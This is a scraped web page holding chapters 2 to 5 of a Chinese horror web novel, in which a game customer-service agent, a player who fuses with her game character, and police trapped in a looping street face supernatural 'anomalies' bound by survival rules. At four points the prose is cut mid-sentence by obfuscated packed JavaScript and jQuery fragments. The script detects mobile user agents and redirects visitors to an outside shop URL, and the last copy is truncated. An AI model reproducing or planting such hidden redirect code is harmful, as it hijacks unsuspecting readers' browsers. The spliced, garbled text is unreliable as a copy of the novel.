《重生之给我干哪儿来了诡异复苏为什么有剑三》
2. 第 2 章
葛馥兰作为西山居的客服自然是什么奇怪玩家的电话和哭麦都听过,甚至于她现在还留在西山居当客服都不是图工资这件事,而是单纯想知道自己每天能接到多少的离谱电话,然后到月底做个总结出来给自己看着乐呵一下。
——可即便如此,连续三天接到同一个玩家疯疯癫癫像洋柿子看多了的电话她也有些吃不消。
她从第一天捧场地“什么原来是这样吗”到第二天委婉地“需不需要给您打个报警电话”再到第三天的面无表情放到旁边,其中经历了多少心里波动暂且不为人知。
倒是她隔壁的同事劝她下次不如直接转给别人接听,但都玩丐帮了,葛馥兰多少还是有点抖M在身上的,她还是在这个电话坚持不懈打进来的时候接起了电话,并且心态完成了“我倒是要听听你今天能编出什么花样来”的转变。
“已经是第三天了。”
但是这一次的,电话那头的女声开口不再是“三天后全球恐怖降临”了。
“是的侠客,”葛馥兰虽然有些惊讶,但更多的是“你果然熬不过我这个十年老丐帮玩家”的得意,夹起声音更甜地说,“请问有什么是我能帮助你的吗?”
“已经没有什么了,”听筒对面的女声说,“不要在十二点之后离开大厦,如果要下班的话,你现在就可以走了。”
葛馥兰眼皮一跳,心想这什么转发这条诅咒给下一个人不然你三天之内暴毙的赛博恐吓,但她都已经玩十年的丐帮了,还有比这个更恐怖的事情吗?
没有了。
“好的侠客,”她微笑着说,“我会记住的。请问还有什么能帮助你的吗?”
电话那头的声音有些沙沙的,葛馥兰觉得有点像是信号不太好的样子。但考虑到最近是台风天,信号有所波动非常正常,她也就没把这种波动放在心上,正要挂掉电话,就看见头顶比自己还牛马在工作的日光灯接触不良似的闪了一下。
灯光熄灭的瞬间,葛馥兰控制不住地抖了下手。虽然马上就重新亮了起来,但那种微妙的毛骨悚然让她迟迟没能挂掉电话。
“我建议你不要挂掉电话,”电话另一头的声音就像看见了这里发生了什么一样低声说,“我可以帮你们的。”
葛馥兰犹豫了一会儿,在舌尖转了一圈的“侠士需要我帮你拨打求助电话吗”还是被吞了下去。
就当是心理咨询热线好了。
她这么想着。
万一对方情绪不稳定的话至少自己还能安慰一下她……而且今天病情看起来有所好转的样子,反正等级末闲着也是闲着,就先接着电话好了。
——反正电话费也不是她付的。
手环上距离凌晨十二点还剩下十分钟的倒计时让葛馥兰有些心不在焉,虽然觉得这就是另一个非常老套的电子恐吓,但刚才日光灯非常配合的闪烁确实有点吓到她。身边的同事在骂骂咧咧迟早把这个服役年限超过自己入职时间的日光灯换掉,可一直连接着的通话中传出来的呼吸声也让人非常不安。
这种不安在倒计时距离十二点只剩下一分钟的时候到达了巅峰——虽然知道接下来什么事情都不会发生,但葛馥兰现在的心情实在是有点像2012年面对末世传闻的时候忐忑等待着12月21号到来的忐忑,她思索了一下,打算以自己即将下班了这个理由挂断电话。
“快了。”
突然出声的听筒吓得她把手边装着热水的马克杯撞到自己身上,即便很快就控制住了自己,但还是有一部分热水溅到了葛馥兰胳膊上。
上夜班还要被人恐吓这会儿水还烫了自己一下难免让葛馥兰生恼,大概是心中不安,往日被奇葩磨砺出来的平和心态一时间也有了几分难绷的暴躁。她拿起听筒刚要张嘴说什么,电话另一头的人比她更快截断了她的话头。
“坚持到十二点就行。”
她的语调开始尖锐,语速也仓促起来:“马上就到十二点了……坚持到那个时候就行。千万不要之前挂断电话,要是之前挂掉电话的话我就联系不到你了。”
“侠士,我可以帮你拨打求助热线,”葛馥兰耐着性子说,“主要是我这里要下班了,后面的同事需要使用设备,所以我必须要挂电话了。”
这当然是扯谎,但她也确实快下班了,葛馥兰不想在这么无聊的事情上耽误自己下班的时间,实在不行就举报自己好了,反正十二点要到了,就算是牛马那也该回去休息了!
“如果一定要走的话尽量待在封闭的空间内,”娇龙也知道自己是在无理取闹,甚至对方能这么耐心地接听自己的电话这么长时间已经是一种意外了,她都已经做好今晚要一直排队等人工客服的准备了,“尽量缩短自己在走廊里面待着的时间……房间相对更安全一些。”
虽然剑三会以类似系统的模式随机出现在当下版本还在游戏的玩家身上,但也只是随机出现而已。娇龙无法判断对方能不能得到剑三覆盖,只能寄希望对方在西山居大楼玄学概率能高一些,然后将第一天出现在西山居诡异规避方法告诉对方。
在凌晨游荡的保洁阿姨会清扫走廊维持大楼的整洁,但阿姨并不会打扰到正在办公中的员工。
如果办公室的们在三次扣门声过后的十秒没打开,阿姨就会自己离开去寻找下一个房间,除了三个区域——储物间、茶水间以及卫生间。
储物间与茶水间会被保洁阿姨强制打开,其中的生物以及生物痕迹会像是在走廊中被阿姨遇见的同类项一样被清理”干净——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187159|150699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指肢解后最后会被打包好投入三色垃圾桶中进行干湿分类。
而不属于储物间以及茶水间的非生物物品会被阿姨收容进保洁车呢,具体会发生什么并不清楚,摄像头无法摄录保洁车内的状况,最后这些物件会以表面被湿润棉质纺织物擦拭过后略微湿润的状态回归放置者身边,但是更具体的结果,娇龙就不知道了。
这是第一例被记录下来发生在东水寨的诡异事件。而“保洁阿姨”之所以会成为001号事件被记录,正是因为在诡异降临后剑三系统随机但是大范围的出现在番薯身上,导致东水寨成为重点首例观测对象被记录在案。
——另一个原因就是保洁阿姨出现时,正好赶上夜班客服的下班时间。
那是一场相当惨烈的屠杀,也是在阿姨唯一一次填满工作大楼附近的三色垃圾桶。
那些无法被放入垃圾桶中的垃圾袋随机在珠市的大型垃圾桶内,成为诡异降临后第一例被记录在案的大范围杀伤事件。
“如果找不到能进入并且关闭房门的封闭房间,就去卫生间。”
娇龙眼看时间快到十二点了,连忙加快语速:“锁上卫生间小隔间后能安全半小时左右,但是一定要在四十分之前离开隔间。如果开门后遇到什么就当没看见,不要在走廊——”
逗留。
00:00的铃声就像是某种信号,剩下说出口的字符成为尖锐响起的忙音,葛馥兰听得正入神,人生骤然成了突兀的忙音后吓得她险些从位置上跳起来,但又很快被同事利落一把扫干净桌面的动作唤醒。
“下班了下班了!”
葛馥兰的外放吸引的夜班无聊又被奇葩电话搞得有些内分泌失调的同事们的注意的,以至于往常都会提前收拾起来就等着铃声一响直接冲出办公室的同事们这会儿才开始收拾东西,还不忘笑着和她打趣。
“这侠士应该去红领巾的,”她右手边的同事一把扫干净桌面笑着说,“口条怪清楚的,比我接到的说团长黑装备还得从组人开始说起的电话好多了。”
葛馥兰有些走神,但还是笑着接话道:“就是下班听规则怪谈怪渗人的,搞得我都不敢去上厕所了。卫生间开门还能遇到啥啊,总不能是保洁阿姨吧?”
“你想多了,”右边的同事背起黄鸡大笑包冷酷地说,“阿姨早下班了,留到现在的牛马只有我们而已。”
左手边的同事脸色一下苍白起来了。
“那门口的保洁车是谁的?”
她的声音又轻又柔,梦呓一般生怕惊醒什么一样喃喃道:“……今天有阿姨留下来在加班吗?”
“咚、咚咚。”
隔着遥远的距离,娇龙也依旧清晰听见了的从听筒另一端传来的敲门声。
3. 第 3 章
娇龙想的到对面肯定非常惊恐,但她如今也是有心无力。
游戏角色与本人融合时仿佛打通任督二脉一样将修为与功法灌注进身体中的痛苦比她自己亲身体验过的叠了三层毒刀的剧痛不相上下,娇龙蜷痛到蜷缩在地上连呻吟的力气都没有,只依稀记得自己上辈子虽然得到角色附体,但似乎也并没有这么痛。
窸窸窣窣的声响像节肢动物在地板上爬过的声音,但如今就算飞天大蟑螂跳到她脸上给她来一套降龙十八掌她都无力反抗,只能当做没听见这些声音,尽量将注意力集中在手机上,寄希望于自己融合成功后,东水寨那边的2号诡异已经失去了作用。
——是的,东水寨内盘踞着的诡异不止有001号,甚至都不止于002号。具体盘踞了多少诡异尚且不为人所知,但至少从娇龙残存的记忆中,至少也是有两位数的。
维持理智不被痛苦冲垮是一件相当困难的事,她瘫在地上拼命回想自己记下的诡异资料拉扯住意识,苦中作乐地想着至少002号的杀伤力没有1号这么强。
002号是一个只会在凌晨十二点到凌晨五点之间响起的东水寨客服语音,在祂出现时,东水寨会屏蔽所有外部输入的信号,只有东水寨内的工作人员还能够使用电子设备联络滞留在办公楼内的员工。
同时002号会随机接听这个时间段内拨入的客服电话并予以反馈与处理,处理时长在1-5分钟左右,在她重生前,被记录的最短通话时间是01:02分。而每个客服电话接听完毕后,002号会产生10分钟左右的空窗区——也就是休息时间。
只有在这个休息时间,外界的电话才能再次拨入成功。
但因为人工客服一整个晚上也要接不少电话,娇龙不想浪费宝贵的空窗期再一次等待转人工客服,因此才会一直占线。
在后期实验中发现,在占线时有概率被002号转接。正因为是转接到的客服,因此可以要求002号解决上一位客服未曾解决的问题,并且要求002号再解决一个全新的问题——而在直接拨入电话被002号接听时,只能要求祂解决一个问题。
这也是娇龙占线到现在的另一个目的。
反正不管是哪个结局对当下她而言都是有利的……只是她有点不太确定自己现在这个状态下还能说出话来。
昆虫在地板上窸窣爬行的声音更清晰了。
而且好像还有另一种软体蠕虫趴到了她身体上。
腹足吸附在身上的感觉相当明显,带着一点细微的蜇和黏连,有点像魔术贴重复着粘连撕开的动作——只是如今一面是她的皮肤,而另一面是正在爬行的蠕虫的腹足。
她甚至迟钝了很久才意识到血腥味的弥漫。
偏巧不巧,原本陷入忙音、只能她单方面听见客服对面声音的听筒中传来一个柔和的、又带着点微妙机械冰冷的中性声音。
“您好,侠士,请问有什么能帮助您的吗?”
这个她用了五年的手机此刻像是活过来了一般,每一个字音的响起,都能让娇龙在剧痛的迟钝中感受到掌心中如同嘴唇翕张一般的动作。
“请问有什么能帮到您的吗,侠士?”
“……帮我、接通和上个、客服的通话。”
痛到一定程度甚至已经麻木了,从这一点来看,娇龙甚至还得很幽默地谢谢这份剧痛。
——毕竟她上辈子痛到说不出话来,这辈子甚至能说出话呢!
“好的,侠士,”手机翕张着并不存在的嘴唇柔声说,“正在为您联系上一位人工客服。”
葛馥兰被突然响起的喘息惊到背后一身白毛汗,虽然每个人都急着下班,但是伴随着均匀的敲门声,没有一个人敢第一个冲出去,这会儿听到格外扎耳的人声,葛馥兰肉眼可见原本挂在同事肩膀上的黄鸡大笑帆布袋一个哆嗦掉到了她的手腕上。
——但是她很快意识到人声的源头在哪。
在她刚才没有挂断的电话里。
她甚至不敢重新接起电话,哆嗦着嘴唇只是站在电话旁边。葛馥兰很想质问对方这是不是对方的恶作剧,对方是不是现在就藏在的门外在看他们笑话——但最后,她什么都没说出口。
只有一声强压着惊恐的“你好”轻轻响起。
“听得见吗?”
一分钟不到的时间,对方的声音就变得沙哑疲惫,如果不是因为还能辨认出声线就是刚才那位女士的声线,葛馥兰差点以为电话那头换了个人。
……但也不是没可能。
如果之前的声线用的就是变声器的话,也不是没可能。
她一时间有了几分被人戏弄的羞恼,外面平稳的叩门声也成了无关紧要的伴奏。如果不是因为想试探对方到底是什么目的,葛馥兰甚至立马就想报警。
——大半夜搞这种恶作剧的人是不是有病啊?!
“你听我说完。”电话那头的人声音中有了几分仓促喘息,断断续续夹杂呻吟一般隐忍的停顿。葛馥兰原本还觉得有些恶心,但这会儿因为环境太过安静以至于她的注意力无法不集中在听筒上,她很快辨认出这似乎不是猥琐变态的声音,更像是一种……
隐忍着痛苦的呻吟?
……不会被当成什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187160|150699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
play了吧?
她有些毛骨悚然——当电话客服遇到的牛鬼蛇神实在是太多了,以至于她这会儿根本想不到别的什么可能。
娇龙也很想把001的资料详细告诉对方——事实上这部分内容已经在她提交到市长信箱和浙○办的邮件中有了详细的阐述,但她不知道自己还能维持多长时间的清醒,只能将回避001号的方法尽量完整地告诉对方。
“这个时间……大楼没有保洁阿姨在。”
她感觉到好像有什么尖锐的东西刺穿了皮肤。
但这在身体崩裂的疼痛中甚至没有反馈上来一丁点痛楚——这更像是一种感觉,只是在单纯告诉身体的主人她的身上还有东西在东并且在啃咬她。
拿东西像订书针一样一左一右拉扯着皮肤与肌肉收拢,娇龙后知后觉才意识到这似乎有点像是一种粗陋的缝合手段,但她现在甚至无力回头看看自己身上发生了什么,只能感受到湿漉漉的热意在进一步扩散。
她已经看见淌到自己眼前的鲜血了。
“阿姨会、来回巡视大楼一趟。”
葛馥兰很想谴责对方对他们这些电话客服玩这种肮脏的play,但事实上,随着日光灯的暗淡,她张了好几次嘴,都没能在恐惧下挤出自己的声音。
她自己说的没有阿姨,阿姨为什么又会来巡视大楼?
“祂再去一楼的时候,必须离开大楼。”
听筒中传来的声音开始出现支离破碎的呓语和意味不明的谵妄,这已经脱离play的范畴进入让人想拨打急救电话和报警电话的范围内了。
“不要……不要开门、不、不……我不……001会加速……帮帮她、客服、客服——”
电话另一头的声音开始变得痛苦,甚至还有强烈的惊惧,最后甚至是在尖叫着客服,葛馥兰顾不上太多惊慌失措地赶忙应声,但却没有得到任何回应。
“打客服电话——!!!”
娇龙忍住背上的剧痛嘶声尖叫:“5、让客服帮你——!”
手机不知道什么时候挂断了电话。
娇龙原本瘫倒在地上几乎无法动弹,但在剧痛的刺激下这会儿也难以控制抓挠撕扯着身体挣扎着试图从地上起来——她甚至顾不得庆幸自己早在一切发生前就已经打了报警电话和急救电话,背后烧起的疼痛让她甚至觉得自己脑浆搅和在灵魂中轻飘飘打着旋冲出了天灵盖,上一世记忆走马灯一样开始在眼前闪回。
——她看见屏幕中伸出一双手。
雪白的、纤细的。
紧紧抓住第三把向自己投来的淬毒小刀。
4. 第 4 章
“真是活久见了。”
唐辽把贴吧链接分享到小群内在yy上吐槽:“带什么扑街货的我都见过,还是第一次在等级末见到带小吃小药和石头的。”
“什么什么,”亲友大呼小叫地点开帖子,看到熟悉的楼主后的就了然地说,“你居然今天才刷到这个帖子吗?这楼主都炒了三天了。总感觉是萌新,赛季末囤小吃小药也就算了,谁版本末还囤这玩意儿。”
“这楼主啊,”另一个刚进yy的亲友听到个尾语就知道他俩讨论的是谁,“说是萌新倒不如说她精神有点堪忧。而且她不还在收吗,她那区我正好有个排骨小号还有点小药我就给她邮寄了,结果居然还真收,也不知道图什么。”
“反正我看楼上有人提醒过,她知道等级末上个等级的小吃小药会失效,”唐辽说,“不过提醒我了,下版本的五彩石我还没囤,等下我去收点。”
等级末清完CD后实在是有点无所事事,唐辽又不太喜欢别的休闲玩法,站起来伸了个懒腰在屋子里溜达两圈后决定去打两把绝境战场。
——还有一个小时能打,正好他飞沙令上限也只差一点了,刷完算数。
他一边挂着yy一边开始散排,大概是受那个帖子的影响,神差鬼使的,唐辽把装备从腿毛套外观切到了自己已经毕业的PVP焚影装备上。
别问为什么不拓印,问就是勤俭持家。
“等下再跑个商……”他嘀咕了一句就熟练的在群里摇人:“还有没跑商的吗?等下劫镖去?”
——他们明教的跑商当然是纯靠劫镖的啦!
亲友三三两两地响应两声,他心满意足地点击单人排队,瞬间就弹出了是否进入白龙绝境的弹窗。
等级末了还这么多人吃鸡吗……
唐辽在嘀咕一声,没注意到电脑右下角的时间在跳转到00:00时屏幕瞬间陷入了黑屏,只有耳机另一头传出yy中的惊叫。
“我草!”
亲友大惊失色喊道:“我刚被老四抓到地下就断网了???”
“日内瓦!”
和他在同一个英雄本中的另一个亲友也尖叫起来:“我一车英雄工资都没有1k就得先交1k罚款吗?!”
唐辽正想说什么,新买没多久好端端戴在脑袋上的耳机却突然蹿过火花直接炸开。他当时就惨叫一声甩开耳机捂住双耳,没一会儿,指缝中就淌出了汩汩鲜血。
他觉得自己出现了幻听,在电流的滋啪声中好似有更加恐怖的嚎叫传来。电脑界面停止在地图加载的一片漆黑中,但是那个穿着一身毕业装备明教成男号却突然转过身,那双异色的猫眼鬼魅一般紧紧贴在电脑屏幕上,转眼间冲破显示屏直扑唐辽面门,刹那消失的无影无踪。
事情发生的太快,等建模和虚影一起消失后,唐辽心中的恐惧才潮水一般冲了上来涨到巅峰,而他连滚带爬撞开房门踉跄冲到走廊上的动作甚至是一种大脑在极度恐惧下完全做出的本能反应,等人在泛寒的夜风中一个激灵时,他才在黑暗的包裹下意识到不对。
走廊敏锐的声控灯以往轻轻开门都会相当敏感地亮起,但如今大门重重撞在墙上反弹回去,又“砰”地一声响亮关闭,不仅自己这一层的走廊灯没有一点亮起的痕迹,甚至楼上楼下的走廊灯都吝啬地没有一点投下微弱的余光。
他神差鬼使地朝对门邻居看去,有电时总是一眨一眨闪烁着蓝光示意自己正在工作的电子猫眼死气沉沉的成了一块黑板,整个世界好像都在凌晨十二点时陷入了黑暗,只有楼梯下的转折角上倒映着黑夜的窗户外投进异常明亮的光芒。
在这一方拉长的、铺满一半台阶的光芒中,唐辽看见了一个漫长的、嶙峋的、峥嵘的影子如烟似雾,无声无息从光中游曳而过。
鹿角、鳄首、蛇身、鹰爪。
——以及一只巨大的、塞满了整个窗户的眼珠。
·
"还有多久能到?"
坐在副驾上的警官看着第三次重复从前窗掠过的指示牌与街景僵硬地维持着自己的姿势一动不动,只有鬓角的汗水晃悠悠顺着脸颊滑了下来,落到他的领口里浸湿胸口已经汗涔涔的制服。
在第一次进入街区时还在正常行走的人在警车“嘀呜嘀呜”地第三次驶入时已经放缓了动作。
这个街区中所有长着“眼睛”能“看”的东西似乎都在窥探着这两个外来者,即便这种若有似无注视着的感觉让袁心意坐立不安,但他也不敢轻举妄动,只能依照短信中的叮嘱尽量微不可查地动着嘴唇。
可就算如此,他还是一下感觉到落在自己身上的目光似乎更多了。
如芒刺在背。
“不知道。”
开车的同事也浑身是汗,但他甚至连空调都不敢打开——刚开始进入这个街区的时候他其实根本没把报警短信上的文字当回事,袁心意读给他听的时候也只是当成一种笑话在耳朵里过了一边,根本都没往心里去,只当是一种精神病人的臆想而已。
直到他打开了空调。
面向袁心意的那半边脸还能到翻开的皮肤下黄色的脂肪和痉挛着的肌肉。尽管一只眼睛已经被血糊的看不清路了,但驾驶座上的张晟瑞也没敢有任何动作,只是睁着另一只尚且能看清楚的眼睛咬紧牙关忍住疼痛,重复着他们自从进入街区之后的对话。
按照短信上所描述的内容,他们会在循环进行到第四次的时候离开这个街区到达报警人缩在的小区。在循环进行的过程中,他们不能做出任何会引起街区中注视的行为——也就是说第一次进入街道后,第二次进入街道时只能进行第一次在街道中行驶时做过的动作,一旦引起的注视太多,不仅他们会永远在这篇街区中人不人鬼不鬼地徘徊,甚至循环街区的面积也会进一步扩大,吸引更多闯入其中的受害者,形成极为恐怖的恶性循环。
在第二次循环开始时因为开启空调这个动作,张晟瑞直接被吹出来的空调风吹融了半张脸。但更恐怖的并不是半张脸融化后的剧痛,而是在他惨叫着下意识捂住脸后出现在警车前被重重撞飞的黑影。
哪怕袁心意第一时间就把控住方向盘回正了位置,但那个黑影还是破布口袋一样被轻轻抛起然后重重落下,像个被装在袋子中摔得四分五裂的西瓜躺在斑马线上,只有红艳艳的血从袋子里溢了出来。
然后一切就像某种顺理成章般,这个被扎起的黑色口袋蠕动着从斑马线上爬了起来,打开后座门坐了进来。
在祂关上车门前,警车处于无法启动的状态。这个发生在第二次进入街区时的交通事故动静不小,要不是张晟瑞眼疾手快立马启动了警车,车子开走后,他从后视镜中看见的瘦长黑影就该接二连三钻进来了。
即便如此,他们引起的注意也已经足够多了。
所以在第三次循环开始后,他们两人都战战兢兢一丝不苟
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187161|150699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地进行着重复的动作。哪怕张晟瑞因为失血已经有了轻微的眩晕,他也依旧牢牢地把自己双手焊在方向盘上,只希望在自己昏迷之前至少结束这个循环。
——而现在,袁心意唯一能感到庆幸的就是在第一次进入车道时,自己把短信中的内容笑话一样一字一句讲给了身边的搭档听,这才让他们能清晰又完整地记住离开这里的流程,不至于在接下来的驾驶过程中有再次犯错的可能。
“……她说就算车上真的上来了不该上来的东西也没关系。”像是在给搭档鼓励一般,袁心意在读到这一段的时候稍稍加重了点音量:“在不偏离目的地的情况下和对方正常交谈就行。如果对方要求我们偏离原定行驶路线,必须想办法拒绝祂,除此之外得到要求可以根据自己的选择拒绝或者同意。”
端正靠坐在后座上的东西像是全然没听见似的一动不动,除了后座上还在扩散的血痕,这东西安静的就像是他们两的幻觉一样。
“但是不能全部拒绝。”袁心意绷着神经说,“在离开街区前,必须满足对方提出的至少一个要求。”
“想办法让祂提出偏离路线以外的要求。在封闭的载具内,合理利用自己的职业身份同意或拒绝祂的要求才能正常结束循环。在条件允许的情况下,优先选择拥有世俗认可的公职身份人员进入018号秘境。”
穿着白色制服的警官一字一句看完临时被推过来的白板上投影出来的子,看着拖着一地血第三次出现在同一个监控中的警车,深吸一口气问:“别的情况呢?”
“涉及到的区域数量太多了,我们的警力没办法顾及到邮件中的每个地点,但也已经联系了兄弟单位帮忙。”
本地辖区的交警队之所以第一时间就信了邮件中所有离谱又荒诞的内容并非是因为意识到了警员的失联,纯粹是因为链接着、呃、018号秘境这一整条陷入规定循环中的道路摄像头发生异变
摄像头链接在交警队中的屏幕突然变成了一只只包裹在透明泪泡中的眼睛。
这些类似猫狗之类生物的眼球虹膜占比极大,几乎看不到眼白存在。它们似乎不会眨眼,只有下眼睑一点点淌出、或者说溢出泪水一样的东西。
这眼泪以一种违背物理的姿态轻飘飘上浮,在飘到与上眼睑几乎持平的位置时,会像是撞到什么东西一样碎成一片与眼球大致有三到五公分距离的水膜覆盖在外侧。
借着水膜的投影,他们才能通过凸出的眼球看见发生在那条路上的一切——甚至看得比两位当事人更加真切。
毕竟两位当事人肯定没法站在第三者的视角看到第三次循环开始后紧紧住在警车车尾的东西。
那看起来像十几个人躯干脑袋被打碎后再把四肢粘和在一起的产物,见多了交通事故的老交警尚且能面不改色,但是年轻些的交警已经脸色发白了。
要不是还有领导在场,他们都很想去洗手间先吐一会儿再说。
“我也已经第一时间上报了中央。当务之急也还是先按照邮件中阐述的那样行动……尽量将人员伤亡压到最低,然后市政那边——”
“联系不上,”本下去派出所的所长面色凝重地说,“零点过后全国一共有19个市政失联,我市的就是其中之一。”
“……我知道了。”
白衣警官说:“那现在就按照之前的计划行动起来。不论付出多大代价,务必要将邮件发起者带出来。”
5. 第 5 章
娇龙真的以为自己会直接痛死。
但她还是再一次睁开了眼睛。
她勉强撑着身体坐起,好像有什么东西在她起身时从身上被撕扯下来引起轻微的刺痛。娇龙虽然意识都还有些恍惚,看东西也有着模糊不清的重影,但还是第一眼就看到了自己亮着的手机屏幕。
上面显示正在通话中,时间过去了14分23秒并且还在继续计时,显然是一次新的通话。因为娇龙清晰地记得自己和客服的通话时间跨过了00:00,单纯从时长而言,也不止有十四分钟。
这次的融合痛苦到实在是让人难以置信,娇龙都还能感觉自己肢体末端残存着的刺痛一跳一跳扎得她脑袋胀痛——上辈子从未听说过有谁和自己的账号融合时有过这么骇人听闻的痛苦,但能活下来已经是一种幸运了。
——毕竟也并不是所有人都能在这个过程中幸存下来的。
“您好侠客。”
似乎已经完全接管了她手机的002号察觉到了她的清醒,亲切地问道:“有什么能帮助你的吗?”
她已经用掉了两次使用002号帮忙的机会。
那当下显然是电话另一头的人工客服领悟到了002的使用方法。
“我要和之前的那个客服联系。”
娇龙疲惫地喘了口气——新生耗费的体力实在太大,仅仅只是坐起来从血痂里抠下手机的动作都让她由衷提不起劲。
这时候她才意识到自己不着片缕,身上的衣服和地上的血痂粘连在一起拓出个人形,就好像从她身上褪下了一层皮烙在地上。
——不,她好像真的褪了层皮下来。
就像某种守宫似的,她五指还卡着没有完全剥落的皮肤。娇龙随手扯掉身上这些要掉不掉的碎皮,又重复了一遍自己的要求:“我要和之前那个客服联系。”
002会回应“侠客”提出不带“帮助”以及“需要”类型词语的祈使句。
事实上002号的回应范围还挺广泛的,至少在娇龙穿越之前,对002号的需求回应范围也还没有摸出上限。因此只要双方中的某一方不挂掉电话,常规对话情况下,002号会将其视为正常交谈过程,一直维持彼此的联络,直到“侠士”方提出终止对话。
“好的侠士,”002号用祂一贯温和愉快的嗓音亲切回答,“正在为您转接上位人工客服,请稍等片刻。”
*
葛馥兰闻着走廊里混合着铁锈味的消毒水味道有点想吐,她觉得自己好像有点发烧了,但也不好说是被吓的还是别走廊上的味道熏的,只能握了握抓着手机的手给自己壮胆,寄希望于刚才给自己打了电话的人这会儿还能联系上。
对方失去声音已经有快十分钟了。
葛馥兰很想哭,事实上这个时候她一点眼泪都挤不出来。走廊瓷砖上均匀覆盖着的血浆,踩上去甚至还需要用点力才能维持住平衡,湿漉滑腻的脚感让她身边紧紧抓着自己胳膊的同事忍不住抽噎了一声又干呕了一下。
她甚至能感觉到同事在干呕过后又向自己靠近了不少,以至于葛馥兰不合时宜地想到他们现在就像是一群抱团取暖试图阻挡住暴风雪的企鹅,但是谁都不知道在这场暴风雪过后能不能再一次见到阳光。
一开始他们也没有人相信这种话,但是在凌晨十二点刚过的这个时间,这种神叨叨的“诅咒”也多少让人害怕。
尤其同事们走的都差不多了,虽然还有好几个部门的同事也都有留下来加班的,可整个大楼在凌晨十二点确实人气寂寥得让人心中惴惴。
大家都有些不情愿当第一个吃螃蟹的人——出于一些胆怯和一些面对黑暗的恐惧,他们确实没有像往常下班一样一窝蜂涌出去赶着离开,也就是在这时候,办公室的门被敲响了。
毫不夸张地说,当时周围安静到只有电脑机箱还在嗡鸣。
葛馥兰看见坠到同事手腕上的黄鸡大笑帆布袋掉到了地上。
一共三次,她记得清清楚楚。可就算三次敲门声过后,过去了两分钟他们都没有任何人敢过去开门甚至离开办公楼。
他们甚至是目睹着保洁阿姨推着保洁车进了电梯,电梯叮一声就开始上行,而阿姨推着车进去之前甚至还扭头冲他们笑了一下——
甚至还冲他们笑了一下!!!
葛馥兰有些想不起来当时的崩溃心情了,等回过神来后,她已经拔腿跑下两层了。
连带着一个办公室的同事们一起从安全通道跑下两层了。
没有人问有谁认识那个保洁阿姨,就像更没人问明明还有别的电梯大家为什么不乘一样。
很多问题在这个时候只要开口就会成为一种实质化的恐惧,因此就像是共同维持着同一个秘密似的,所有同事都只是互相抓紧彼此不敢松手,连一句质问的话都没有。
就像也没有人问葛馥兰她手机上现在还显示着拨通状态的电话是谁打进来的——但就像抓着救命稻草一样,葛馥兰虽然掌心都被冷汗浸得滑腻腻的,可也没有挂下手机里的电话。
于是这通电话就这样一直沉默着联络着。
第一层的走廊一片漆黑,她恍惚想起来这一层的同事应该是都下班了,但从第二层开始,情况就不对了。
第二层的安全门是关着的,可刚走到安全门门口葛馥兰就察觉到脚底触感的不对劲。强烈的铁锈味像是安全通道的金属护栏在当下尚且还有台风的季节被水汽侵蚀的腐烂味道,以至于她根本没有多想就下意识打开了手机电筒。
满地都是血……满地都是血!
葛馥兰一下就腿软了。
她听见更大的抽泣声,但混沌中甚至不知道是谁发出来的。大家手忙脚乱地互相搀扶着平稳住身体迫不及待地想要逃离办公楼,可是又往下走了五层,有人意识到了不对劲。
“我们……”
这话说出来需要莫大的勇气,以至于拎着黄鸡大笑帆布袋的同事声音都在发抖:“刚才是不是来过这里?”
每一层的楼道口都有血,他们才刚开始尝试适应,就察觉到了新的古怪。
原本一脚踩上去还需要稳定底盘才能在滑腻腻的瓷砖上站稳身体,现在一脚踩上去有种相当微妙咯吱咯吱得微涩,就好像刚才还湿漉漉的瓷砖突然被重洗干净了一样。
——但除了保洁阿姨显然是没有人能做到这种事情的,按照电话那头之前说的,保洁阿姨只会在打扫完上面后才会再往下走,那么当下的情况显然另有原因。
葛馥兰深吸两口气才定住悬在半空中胆颤的五脏六腑,原本只是在照亮他们暗淡生路的手电光束落到脚下,照出留在上头拓印得异常清晰的凌乱脚印。
拿着帆布袋的同事甚至看见了自己刚才在下楼时因为太过慌张脚滑了一下拉长的脚印,还有自己的袋子在当时拖到地上时候一并留下的纺织物的印记。
沉默
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 